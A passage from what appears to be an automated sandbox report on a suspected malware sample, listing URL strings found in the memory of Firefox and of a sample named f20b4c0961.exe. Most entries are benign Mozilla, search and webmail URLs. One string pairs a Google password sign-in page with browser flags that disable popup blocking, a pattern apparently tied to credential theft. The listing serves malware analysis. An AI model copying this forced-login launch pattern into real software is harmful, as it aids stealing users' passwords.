Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulmoz-extension://d8c2fff1-cf0b-4e4a-8f0f
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/InlineSpellCheck
Source: f20b4c0961.exe, 00000009.00000003.2217175427.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2401085437.0000000005422000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2563092645.000002729B1A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: f20b4c0961.exe, 00000009.00000003.2217175427.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2401085437.0000000005422000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2563092645.000002729B1A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000019.00000002.2492921640.00000272932BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://youtube.com/
Source: firefox.exe, 00000019.00000002.2489207640.0000027293091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: firefox.exe, 00000019.00000002.2561348786.000002729AF60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2334402547.0000027292B3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2334950209.0000027292B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/_adjustHeightOnPopupShown
Source: f20b4c0961.exe, 00000009.00000003.2164246966.00000000059F6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2164154796.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2323732828.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2324028280.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2322878077.0000000005419000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000019.00000002.2561348786.000002729AF2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 00000019.00000003.2400926046.000002729B163000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2423982999.0000027292EBB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2542958150.0000027295FA2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2487373672.0000027292E7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2535380451.0000027294ED9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000019.00000002.2456139673.00000272847A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: firefox.exe, 00000019.00000002.2478820802.000002729133C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2390907395.000002729486A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000019.00000002.2516262256.000002729480A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2516262256.0000027294810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000019.00000002.2491386104.0000027293127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 00000019.00000002.2581974745.00001B65AB404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000019.00000002.2492921640.00000272932BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com/
Source: firefox.exe, 00000019.00000003.2400926046.000002729B163000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 00000019.00000003.2396489947.000002729B3B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2455481600.0000027282F11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000019.00000002.2563092645.000002729B1D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 00000019.00000002.2581974745.00001B65AB404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://baidu.com
Source: firefox.exe, 00000019.00000002.2458618765.000002728E7AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: firefox.exe, 00000019.00000002.2458618765.000002728E7AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: firefox.exe, 00000019.00000002.2482727507.00000272929D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000019.00000003.2396489947.000002729B352000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2408822675.000002729B352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000019.00000003.2396489947.000002729B352000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2408822675.000002729B352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000019.00000003.2396489947.000002729B352000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2408822675.000002729B352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000019.00000003.2396489947.000002729B352000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2408822675.000002729B352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: firefox.exe, 00000019.00000002.2503538213.0000027294003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1694699#c21
Source: f20b4c0961.exe, 00000009.00000003.2164246966.00000000059F6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2164154796.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2323732828.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2324028280.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2322878077.0000000005419000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: f20b4c0961.exe, 00000009.00000003.2164246966.00000000059F6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2164154796.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2323732828.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2324028280.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2322878077.0000000005419000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: f20b4c0961.exe, 00000009.00000003.2164246966.00000000059F6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2164154796.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2323732828.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2324028280.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2322878077.0000000005419000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000019.00000002.2491386104.0000027293127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000019.00000002.2561348786.000002729AF60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2491386104.0000027293127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 00000019.00000002.2561348786.000002729AF60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000002.2458618765.000002728E7AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: firefox.exe, 00000019.00000002.2458618765.000002728E7AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000019.00000003.2407614644.000002729B680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 00000019.00000003.2407614644.000002729B680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 00000019.00000003.2396489947.000002729B3A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tilesextensions.pocket.oAuthConsumerKeyGo
Source: firefox.exe, 00000019.00000002.2455481600.0000027282F11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000019.00000002.2581974745.00001B65AB404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000019.00000003.2396489947.000002729B3B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2465718967.000002728FD62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2334402547.0000027292B3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2334950209.0000027292B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2582142456.00001C4C4A104000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2491386104.000002729310E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: f20b4c0961.exe, 00000009.00000003.2164246966.00000000059F6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2164154796.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2323732828.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2324028280.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2322878077.0000000005419000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: f20b4c0961.exe, 00000009.00000003.2164246966.00000000059F6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2164154796.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2323732828.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2324028280.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2322878077.0000000005419000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: f20b4c0961.exe, 00000009.00000003.2164246966.00000000059F6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2164154796.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2323732828.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2324028280.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2322878077.0000000005419000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2479828969.0000027292470000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2336750459.0000027292733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2481024204.0000027292728000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox.lv/compose?to=%shttps://poczta.interia
Source: firefox.exe, 00000019.00000002.2581974745.00001B65AB404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.comP
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2336750459.0000027292733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2481024204.0000027292728000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000019.00000002.2562253478.000002729B02E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2579254717.000002729D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000003.2386448202.0000027293B09000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2393247432.0000027293B7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 00000019.00000003.2393247432.0000027293B7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000019.00000002.2469501678.000002728FEFA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2583142865.0000276436404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000019.00000002.2469501678.000002728FEFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.commodificationTime
Source: firefox.exe, 00000019.00000002.2562253478.000002729B02E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2579254717.000002729D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000003.2407614644.000002729B658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2562253478.000002729B02E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000019.00000002.2550341180.000002729614F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2562253478.000002729B02E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000019.00000002.2562253478.000002729B02E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2536047644.0000027294F76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000019.00000003.2407614644.000002729B658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 00000019.00000003.2407614644.000002729B658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 00000019.00000003.2407614644.000002729B658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 00000019.00000003.2407614644.000002729B658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 00000019.00000003.2407614644.000002729B658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 00000019.00000003.2407614644.000002729B658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 00000019.00000003.2407614644.000002729B658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 00000019.00000002.2550341180.000002729614F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000019.00000002.2562253478.000002729B02E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 00000019.00000003.2407614644.000002729B658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 00000019.00000003.2380477181.000002729B624000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000019.00000003.2407614644.000002729B658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 00000019.00000002.2550341180.000002729614F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsDevice
Source: firefox.exe, 00000019.00000002.2562253478.000002729B02E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 00000019.00000002.2562253478.000002729B02E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 00000019.00000002.2562253478.000002729B02E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 00000019.00000002.2473379671.0000027290103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 00000019.00000002.2569395137.000002729B6E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 00000019.00000002.2564524805.000002729B219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000019.00000002.2564524805.000002729B219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000019.00000003.2334698150.0000027292B57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2479828969.0000027292470000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.2334402547.0000027292B3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2334950209.0000027292B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsshims/private-browsing-web-api-fixes.jsshims/google-a
Source: firefox.exe, 00000019.00000003.2396489947.000002729B352000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2408822675.000002729B352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000019.00000003.2396489947.000002729B352000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2408822675.000002729B352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000019.00000002.2562253478.000002729B02E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000019.00000002.2581974745.00001B65AB404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000019.00000002.2492921640.00000272932BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: firefox.exe, 00000019.00000003.2396489947.000002729B352000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2408822675.000002729B352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 00000019.00000002.2455481600.0000027282F11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000019.00000002.2562253478.000002729B02E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2428398466.00000272941A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ib.absa.co.za/
Source: firefox.exe, 00000019.00000003.2380477181.000002729B624000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 00000019.00000002.2458618765.000002728E7AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2579254717.000002729D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitdiscoverystream.hardcoded-basic-layoutresource://activi
Source: firefox.exe, 00000019.00000002.2562253478.000002729B02E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2390907395.000002729486A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema
Source: firefox.exe, 00000019.00000002.2491386104.0000027293194000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000019.00000002.2491386104.0000027293127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000019.00000002.2580378242.0000038C3EC4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2336750459.0000027292733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2481024204.0000027292728000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sbrowser.download.viewableInternally.enabledTypesFa
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sisDefault
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2336750459.0000027292733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2481024204.0000027292728000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%shttp://poczta.interia.pl/mh/?mailto=%sextractScheme/fixupChangedP
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2336750459.0000027292733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2481024204.0000027292728000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sgecko.handlerServ
Source: firefox.exe, 00000019.00000002.2479828969.0000027292470000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mochitest.youtube.com/
Source: firefox.exe, 00000019.00000002.2478820802.000002729133C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2462000461.000002728F0B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2336750459.0000027292733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2481024204.0000027292728000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000019.00000002.2479828969.0000027292470000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/page/
Source: firefox.exe, 00000019.00000002.2479828969.0000027292470000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/player/
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2336750459.0000027292733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2481024204.0000027292728000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s_finalizeInternal/
